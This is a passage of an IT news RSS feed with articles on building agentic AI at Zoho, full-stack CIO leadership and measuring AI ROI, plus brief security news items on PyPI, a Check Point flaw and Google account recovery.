<content:encoded><![CDATA[<p>15 posts were published in the last hour 10:4 : Assaf Keren Appointed New CISO of Meta 10:4 : PyPI hardens package security with new upload restrictions 10:4 : Nine-Year-Old RefluXFS Linux Flaw Gives Local Users Root on Default RHEL…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-23-12h-15-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-23-12h-15-posts/">IT Security News Hourly Summary 2026-07-23 12h : 15 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google will let you upload a video selfie to recover your account - but should you?]]></title>
<description><![CDATA[Google's new account recovery option prompts users to upload a selfie to prove their identity. Here's what to know.]]></description>
<link>https://tsecurity.de/de/3688622/it-nachrichten/google-will-let-you-upload-a-video-selfie-to-recover-your-account-but-should-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688622/it-nachrichten/google-will-let-you-upload-a-video-selfie-to-recover-your-account-but-should-you/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google's new account recovery option prompts users to upload a selfie to prove their identity. Here's what to know.]]></content:encoded>
</item>
<item>
<title><![CDATA[PyPI hardens package security with new upload restrictions]]></title>
<description><![CDATA[The Python Package Index (PyPI) now rejects uploads of new files to releases older than 14 days to prevent attackers from poisoning long-stable releases if a project’s publishing tokens or release workflows are compromised. “This change will protect Python users and reduce the amount of “cleanup”...]]></description>
<link>https://tsecurity.de/de/3688582/it-security-nachrichten/pypi-hardens-package-security-with-new-upload-restrictions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688582/it-security-nachrichten/pypi-hardens-package-security-with-new-upload-restrictions/</guid>
<pubDate>Thu, 23 Jul 2026 11:52:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Python Package Index (PyPI) now rejects uploads of new files to releases older than 14 days to prevent attackers from poisoning long-stable releases if a project’s publishing tokens or release workflows are compromised. “This change will protect Python users and reduce the amount of “cleanup” work associated with project compromises for PyPI admins. This restriction also means that compromises don’t put releases into an indeterminate and confusing state of both “compromised” and “not compromised”, … <a href="https://www.helpnetsecurity.com/2026/07/23/pypi-secures-package-releases/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/pypi-secures-package-releases/">PyPI hardens package security with new upload restrictions</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Check Point Flaw Lets Attackers Bypass SmartConsole Authentication]]></title>
<description><![CDATA[Check Point Software Technologies has disclosed three security vulnerabilities affecting its Security Management and Multi-Domain Management products, including a critical authentication bypass flaw that has already been exploited in the wild. The disclosure came through a jumbo hotfix released a...]]></description>
<link>https://tsecurity.de/de/3688531/it-security-nachrichten/critical-check-point-flaw-lets-attackers-bypass-smartconsole-authentication/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688531/it-security-nachrichten/critical-check-point-flaw-lets-attackers-bypass-smartconsole-authentication/</guid>
<pubDate>Thu, 23 Jul 2026 11:29:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Check Point Software Technologies has disclosed three security vulnerabilities affecting its Security Management and Multi-Domain Management products, including a critical authentication bypass flaw that has already been exploited in the wild. The disclosure came through a jumbo hotfix released as part of the company’s Frontier AI Readiness Program, an initiative combining security hardening improvements with […]</p>
<p>The post <a href="https://cyberpress.org/critical-check-point-flaw/">Critical Check Point Flaw Lets Attackers Bypass SmartConsole Authentication</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



